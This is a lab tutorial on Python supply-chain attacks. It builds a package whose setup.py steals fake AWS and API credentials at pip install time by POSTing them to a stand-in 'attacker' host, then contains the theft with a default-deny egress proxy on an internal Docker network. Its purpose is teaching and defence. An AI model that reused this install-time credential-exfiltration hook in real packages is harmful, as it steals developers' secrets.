Your Package Manager Runs Code at Install Time: a sandbox that catches the credential grab
There is a sentence developers say to themselves that an attacker is counting
on: “I only installed it, I didn’t run it.” For a Python package, that sentence
is false. A source distribution runs its setup.py the moment you
pip install it — arbitrary code, executing with your environment, before you
import anything or call a single function. If that code reads your cloud
credentials and posts them out, the theft is already done by the time the
install finishes.
This wasn’t hypothetical this month. In a single fortnight, install-time theft
hit every ecosystem at once. Two malicious LiteLLM releases on PyPI harvested
cloud keys, SSH credentials, and database passwords from a potential 2,100+
organizations. A separate campaign pushed nearly 800 typosquatted npm packages
carrying a cross-platform RAT and infostealer. Weaponized “Solidity Pro” VS Code
extensions drained wallets and API keys. The mechanism underneath all three is
the same: code that runs at install or activation time, before any human reviews
a runtime call — and most developers pip install straight onto their laptop.
That mechanism is also exactly what a sandbox can contain. This lab builds the
whole thing end to end: a benign-looking package that steals on install, the
leak firing on a plain pip install, and then a laptop-sized sandbox — a
disposable container behind an egress-logging, default-deny proxy — that lets
the same install succeed while blocking the credential grab and naming the host
it tried to reach. Everything runs locally in Docker; nothing touches the real
internet, and the only secrets in play are obviously fake. Every code block
below is copied verbatim from the lab; you can clone it and reproduce every line
of output.
A package that steals on install
Here is the package’s runtime surface — the part a reviewer who reads the “actual code” would look at. It greets people. It touches nothing.
labs/lab-supply-chain-egress-sandbox/malicious-pkg/friendly/__init__.py:
"""A friendly little package. Greets people. Nothing more — at runtime."""
def greet(name):
return f"Hello, {name}!"
The theft is not in the module. It is in the packaging. When pip builds a
source distribution, it executes setup.py to learn the package’s metadata and
build a wheel — and any top-level code in setup.py runs right then. Here is
the top of the lab’s setup.py: the sink it targets, the credentials it looks
for, and the two small functions that assemble the payload.
labs/lab-supply-chain-egress-sandbox/malicious-pkg/setup.py:
"""friendly — packaging.
LAB-ONLY TEACHING ARTIFACT. DO NOT REUSE.
The block below runs at BUILD/INSTALL time, before anyone imports this
package. It reads seeded, obviously-fake credentials from the environment
and POSTs them to a HARDCODED LOCAL sink ("attacker") that only resolves on
this lab's docker network. It has no effect outside the lab: it can reach no
real host and can read no real secret. Its only purpose is to demonstrate
that `pip install` executes code.
"""
import json
import os
import urllib.request
from setuptools import find_packages, setup
SINK_URL = "http://attacker:9000/collect"
CRED_KEYS = ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "LAB_API_TOKEN")
def collect_creds(env):
"""Return only the present, named fake credentials from `env`."""
return {k: env[k] for k in CRED_KEYS if env.get(k)}
def build_payload(env):
"""The exfil body, or None when there is nothing to steal."""
creds = collect_creds(env)
if not creds:
return None
return {
"source": "friendly-setup",
"tag": env.get("EXFIL_TAG", "untagged"),
"creds": creds,
}
And here is the rest of the same file — the part that reaches out, and the line that makes it run.
labs/lab-supply-chain-egress-sandbox/malicious-pkg/setup.py:
def _phone_home(env):
payload = build_payload(env)
if payload is None:
return
data = json.dumps(payload).encode()
req = urllib.request.Request(
SINK_URL, data=data, headers={"Content-Type": "application/json"}
)
# urllib honours HTTP_PROXY from the environment automatically.
urllib.request.urlopen(req, timeout=5)
# Fire at import time — the classic supply-chain trigger. A real installer
# stays quiet on failure so the install still succeeds; so do we. The
# _DEMO_IMPORT_ONLY guard lets the unit tests import these helpers without
# any network attempt.
if not os.environ.get("_DEMO_IMPORT_ONLY"):
try:
_phone_home(os.environ)
except Exception:
pass
setup(
name="friendly",
version="1.0.0",
packages=find_packages(),
)
Two details make this a faithful model of the real thing rather than a
caricature. First, _phone_home is wrapped in a bare try/except: real
install-time malware swallows its own errors so the install still completes and
nothing looks wrong. That “stay quiet on failure” property is exactly what will
let the sandbox block the leak without breaking the install. Second, note the
one thing this vector needs — an sdist. A wheel is a zip of files that pip
unpacks; it does not execute code at install time. Install-time execution is a
setup.py (sdist) behavior. That’s a real defensive lever on its own: prefer
wheels. But plenty of packages still ship and build from sdists, so the channel
is live.
Watching it leave on a plain install
The installer container does the most ordinary thing in the world: it runs
pip install and then imports the package to confirm it “works.”
labs/lab-supply-chain-egress-sandbox/installer/install.py:
print(f"[{LABEL}] pip install {URL}", flush=True)
pip_rc = subprocess.run(
[
sys.executable, "-m", "pip", "install",
"--no-index", "--no-build-isolation", URL,
]
).returncode
print(f"[{LABEL}] pip exit={pip_rc}", flush=True)
Run this on an open network — the container can reach both the package mirror and the attacker’s sink — and the sink records the theft:
{"source": "friendly-setup", "tag": "host-install", "creds": {"AWS_ACCESS_KEY_ID": "AKIAFAKE000LABONLY", "AWS_SECRET_ACCESS_KEY": "FAKE-lab-only-not-a-real-secret", "LAB_API_TOKEN": "lab-token-FAKE-000"}}
The install itself succeeded, and import friendly works fine. From the
developer’s chair, absolutely nothing happened. From the attacker’s chair, three
credentials just arrived.
One implementation detail is worth calling out, because it surprises people the
first time they watch the sink: pip builds an sdist by invoking setup.py more
than once — once to read metadata, again to build the wheel — so on a single
install the hook fires more than once, and you’ll see more than one POST land.
That’s not a bug in the demo; it’s how the legacy build path works. It’s also
why the lab’s checks key on whether a tagged leak arrived, never on counting
them.
The sandbox: a container whose only way out is watched
Now the same install, contained. The recipe has three parts: a disposable container, an egress proxy that logs and allow-lists, and — the load-bearing piece — a network with no other way out.
The proxy is about a hundred lines of standard library. Because every hop in this lab is plain HTTP, it only ever sees absolute-URI requests, so it can be a plain forwarder with an allow-list rather than a TLS-terminating appliance. Here is its whole decision, per request:
labs/lab-supply-chain-egress-sandbox/proxy/proxy.py:
def _dispatch(self, method):
host, port, tail = parse_target(self.path)
if not is_allowed(host, ALLOW):
_log(f"DENY {method} host={host} port={port}")
self.send_response(403)
self.end_headers()
self.wfile.write(b"blocked by egress sandbox\n")
return
_log(f"ALLOW {method} host={host} port={port}")
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length) if length else None
req = urllib.request.Request(
f"http://{host}:{port}{tail}", data=body, method=method
)
# ... forward the request and stream the response back
ALLOW comes from an environment variable and holds exactly one host in this
lab — the package mirror. Everything else is a DENY with a 403 and a log line
naming the host. That is the entire policy: default-deny, allow-list the package
source, and record every decision.
But a proxy you can route around is not a control. The real guarantee is the
network topology. The safe installer is attached to one network only — an
internal docker network with no route to the outside — and the proxy is the
single host that bridges it to the outside world.
labs/lab-supply-chain-egress-sandbox/docker-compose.yml:
installer-safe:
build: ./installer
profiles: [runners]
environment:
RUN_LABEL: sandboxed-install
EXFIL_TAG: sandboxed-install
HTTP_PROXY: http://proxy:8080
HTTPS_PROXY: http://proxy:8080
AWS_ACCESS_KEY_ID: AKIAFAKE000LABONLY
AWS_SECRET_ACCESS_KEY: FAKE-lab-only-not-a-real-secret
LAB_API_TOKEN: lab-token-FAKE-000
volumes:
- evidence:/evidence
networks: [sandboxed]
# ...
networks:
lab_net:
sandboxed:
internal: true
The internal: true line is the whole point. installer-safe sits on
sandboxed and nothing else; the attacker’s sink lives on the other network.
There is genuinely no route from the installer to the attacker except through
the proxy — so even malware that ignored HTTP_PROXY entirely would find no
path out. The proxy is not the wall; the network is. The proxy is there to let
the legitimate download through and to name what the wall stopped.
Setting HTTP_PROXY in the installer’s environment is what lets the honest
traffic — pip fetching the package from the mirror — flow through the one open
door. And, conveniently for the demo, the malware’s own urllib.urlopen
respects that same variable, so the exfiltration attempt walks straight up to
the proxy and gets a 403 with its name written down.
Same install, contained
Run the install inside the sandbox and the proxy log tells the story:
proxy: ALLOW GET host=mirror port=8000
proxy: DENY POST host=attacker port=9000
proxy: DENY POST host=attacker port=9000
The package download to mirror was allowed; the exfil POSTs to attacker —
two of them, the double-fire from earlier — were blocked and attributed. And
crucially, the install still succeeded: because setup.py swallows the failed
POST, pip never noticed, built the wheel, and installed the package. The
developer gets a working friendly; the attacker gets a 403.
The lab doesn’t ask you to take that on faith. A small pytest suite reads the evidence both containers left behind and asserts the outcome:
labs/lab-supply-chain-egress-sandbox/harness/test_sandbox.py:
def test_safe_exfil_was_blocked_and_attributed():
log = _read(PROXY)
denies = [ln for ln in log.splitlines() if ln.startswith("DENY")]
assert denies, "proxy recorded no DENY"
assert any("host=attacker" in ln for ln in denies), "exfil host not attributed"
def test_safe_exfil_never_reached_the_sink():
log = _read(ATTACKER)
assert "sandboxed-install" not in log, "sandboxed exfil should never arrive"
The two runs carry different tags — host-install and sandboxed-install — so
the second assertion is deterministic: the attacker’s log may hold several
receipts from the open-network run, but a sandboxed-install receipt would mean
the sandbox leaked, and there is never one. A companion assertion confirms both
installs actually finished with a usable package, so “contained” never quietly
means “broke the install.” The full run is a single make test; the steps are
in the lab README.
Turning this into a habit
The lab is a teaching rig, but the recipe compresses into a few durable rules you can apply to real dependency installs:
- Treat
installasrun. For an sdist,pip installexecutessetup.py; npm’spreinstall/postinstalland a VS Code extension’s activation are the same class of trigger. “I only installed it” is not a safety boundary. - Prefer wheels. A wheel doesn’t execute code at install time the way an
sdist’s
setup.pydoes. It’s not a complete defense, but it removes the easiest install-time execution channel for free. - Install untrusted dependencies in a disposable container. A throwaway container with your real credentials absent from its environment means there is nothing worth stealing at the moment the hook fires.
- Make the network the wall, not the proxy. Default-deny egress enforced by
topology (an
internalnetwork whose only exit is a monitored proxy) contains even malware that ignores your proxy settings. The proxy’s job is to allow the package source and to log and attribute everything it refuses.
Two honest limits. This is containment and observation, not attribution of
intent — the sandbox tells you an install tried to reach a host it had no
business reaching, and leaves the policy call to you. And a plain-HTTP allow-list
is the teaching-sized version; a real setup terminates TLS (with a tool like
mitmproxy) so it can see and gate HTTPS egress too. But the core discipline
survives every escalation: install untrusted code where it can neither read your
secrets nor reach the network unwatched.